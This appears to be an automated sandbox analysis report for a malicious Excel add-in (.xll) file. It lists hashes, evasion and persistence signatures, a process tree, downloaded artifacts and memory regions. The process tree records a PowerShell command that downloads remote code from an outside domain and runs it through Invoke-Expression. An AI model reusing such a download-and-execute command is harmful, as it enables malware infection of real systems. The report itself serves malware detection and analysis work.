Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-05-2024 19:11

General

  • Target

    382e6a2df4a1ee0afad92185e0f7612e52984d107e778558109fb9c18d0a0fee.xll

  • Size

    12KB

  • MD5

    545e8949e7aad7feada494f2958c53b3

  • SHA1

    cf35bd96fd36db6a56b2dfb0fa7b15bb19fc47d2

  • SHA256

    382e6a2df4a1ee0afad92185e0f7612e52984d107e778558109fb9c18d0a0fee

  • SHA512

    cf242edffe1ae3feb0e8d9c031512fbe72b42125184f5cf2fe6b31ffb258ec8c2385bd9d3bbdfe9d4292815d8c34e157727952b5a3d84cd80313485dd008ff1b

  • SSDEEP

    192:hL29RBzDzeobchBj8JONhONZPELruerEPEjr7Ah+:x29jnbcvYJO2Wuevr7C+

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\382e6a2df4a1ee0afad92185e0f7612e52984d107e778558109fb9c18d0a0fee.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3044
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4828
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3768

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\2IX84YPE\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\382e6a2df4a1ee0afad92185e0f7612e52984d107e778558109fb9c18d0a0fee.xll

    Filesize

    12KB

    MD5

    545e8949e7aad7feada494f2958c53b3

    SHA1

    cf35bd96fd36db6a56b2dfb0fa7b15bb19fc47d2

    SHA256

    382e6a2df4a1ee0afad92185e0f7612e52984d107e778558109fb9c18d0a0fee

    SHA512

    cf242edffe1ae3feb0e8d9c031512fbe72b42125184f5cf2fe6b31ffb258ec8c2385bd9d3bbdfe9d4292815d8c34e157727952b5a3d84cd80313485dd008ff1b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_53cmn05b.f1h.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3044-6-0x00007FFE04650000-0x00007FFE04845000-memory.dmp

    Filesize

    2.0MB

  • memory/3044-87-0x00007FFDC46D0000-0x00007FFDC46E0000-memory.dmp

    Filesize

    64KB

  • memory/3044-5-0x00007FFDC46D0000-0x00007FFDC46E0000-memory.dmp

    Filesize

    64KB

  • memory/3044-90-0x00007FFE04650000-0x00007FFE04845000-memory.dmp

    Filesize

    2.0MB

  • memory/3044-9-0x00007FFE04650000-0x00007FFE04845000-memory.dmp

    Filesize

    2.0MB

  • memory/3044-10-0x00007FFE04650000-0x00007FFE04845000-memory.dmp

    Filesize

    2.0MB

  • memory/3044-7-0x00007FFE04650000-0x00007FFE04845000-memory.dmp

    Filesize

    2.0MB

  • memory/3044-1-0x00007FFE046ED000-0x00007FFE046EE000-memory.dmp

    Filesize

    4KB

  • memory/3044-12-0x00007FFE04650000-0x00007FFE04845000-memory.dmp

    Filesize

    2.0MB

  • memory/3044-11-0x00007FFDC1E80000-0x00007FFDC1E90000-memory.dmp

    Filesize

    64KB

  • memory/3044-13-0x00007FFDC1E80000-0x00007FFDC1E90000-memory.dmp

    Filesize

    64KB

  • memory/3044-15-0x00007FFE04650000-0x00007FFE04845000-memory.dmp

    Filesize

    2.0MB

  • memory/3044-14-0x00007FFE04650000-0x00007FFE04845000-memory.dmp

    Filesize

    2.0MB

  • memory/3044-18-0x00007FFE04650000-0x00007FFE04845000-memory.dmp

    Filesize

    2.0MB

  • memory/3044-17-0x00007FFE04650000-0x00007FFE04845000-memory.dmp

    Filesize

    2.0MB

  • memory/3044-16-0x00007FFE04650000-0x00007FFE04845000-memory.dmp

    Filesize

    2.0MB

  • memory/3044-2-0x00007FFDC46D0000-0x00007FFDC46E0000-memory.dmp

    Filesize

    64KB

  • memory/3044-3-0x00007FFDC46D0000-0x00007FFDC46E0000-memory.dmp

    Filesize

    64KB

  • memory/3044-8-0x00007FFE04650000-0x00007FFE04845000-memory.dmp

    Filesize

    2.0MB

  • memory/3044-4-0x00007FFDC46D0000-0x00007FFDC46E0000-memory.dmp

    Filesize

    64KB

  • memory/3044-88-0x00007FFDC46D0000-0x00007FFDC46E0000-memory.dmp

    Filesize

    64KB

  • memory/3044-89-0x00007FFDC46D0000-0x00007FFDC46E0000-memory.dmp

    Filesize

    64KB

  • memory/3044-86-0x00007FFDC46D0000-0x00007FFDC46E0000-memory.dmp

    Filesize

    64KB

  • memory/3044-0-0x00007FFDC46D0000-0x00007FFDC46E0000-memory.dmp

    Filesize

    64KB

  • memory/3044-70-0x00007FFE04650000-0x00007FFE04845000-memory.dmp

    Filesize

    2.0MB

  • memory/3044-69-0x00007FFE046ED000-0x00007FFE046EE000-memory.dmp

    Filesize

    4KB

  • memory/3044-68-0x00007FFE04650000-0x00007FFE04845000-memory.dmp

    Filesize

    2.0MB

  • memory/3768-60-0x0000000007DC0000-0x000000000843A000-memory.dmp

    Filesize

    6.5MB

  • memory/3768-61-0x0000000006CA0000-0x0000000006CBA000-memory.dmp

    Filesize

    104KB

  • memory/3768-59-0x00000000067C0000-0x000000000680C000-memory.dmp

    Filesize

    304KB

  • memory/3768-58-0x0000000006790000-0x00000000067AE000-memory.dmp

    Filesize

    120KB

  • memory/3768-57-0x00000000061B0000-0x0000000006504000-memory.dmp

    Filesize

    3.3MB

  • memory/3768-47-0x0000000006140000-0x00000000061A6000-memory.dmp

    Filesize

    408KB

  • memory/3768-45-0x00000000057E0000-0x0000000005802000-memory.dmp

    Filesize

    136KB

  • memory/3768-46-0x00000000060D0000-0x0000000006136000-memory.dmp

    Filesize

    408KB

  • memory/3768-44-0x0000000005930000-0x0000000005F58000-memory.dmp

    Filesize

    6.2MB

  • memory/3768-43-0x00000000031A0000-0x00000000031D6000-memory.dmp

    Filesize

    216KB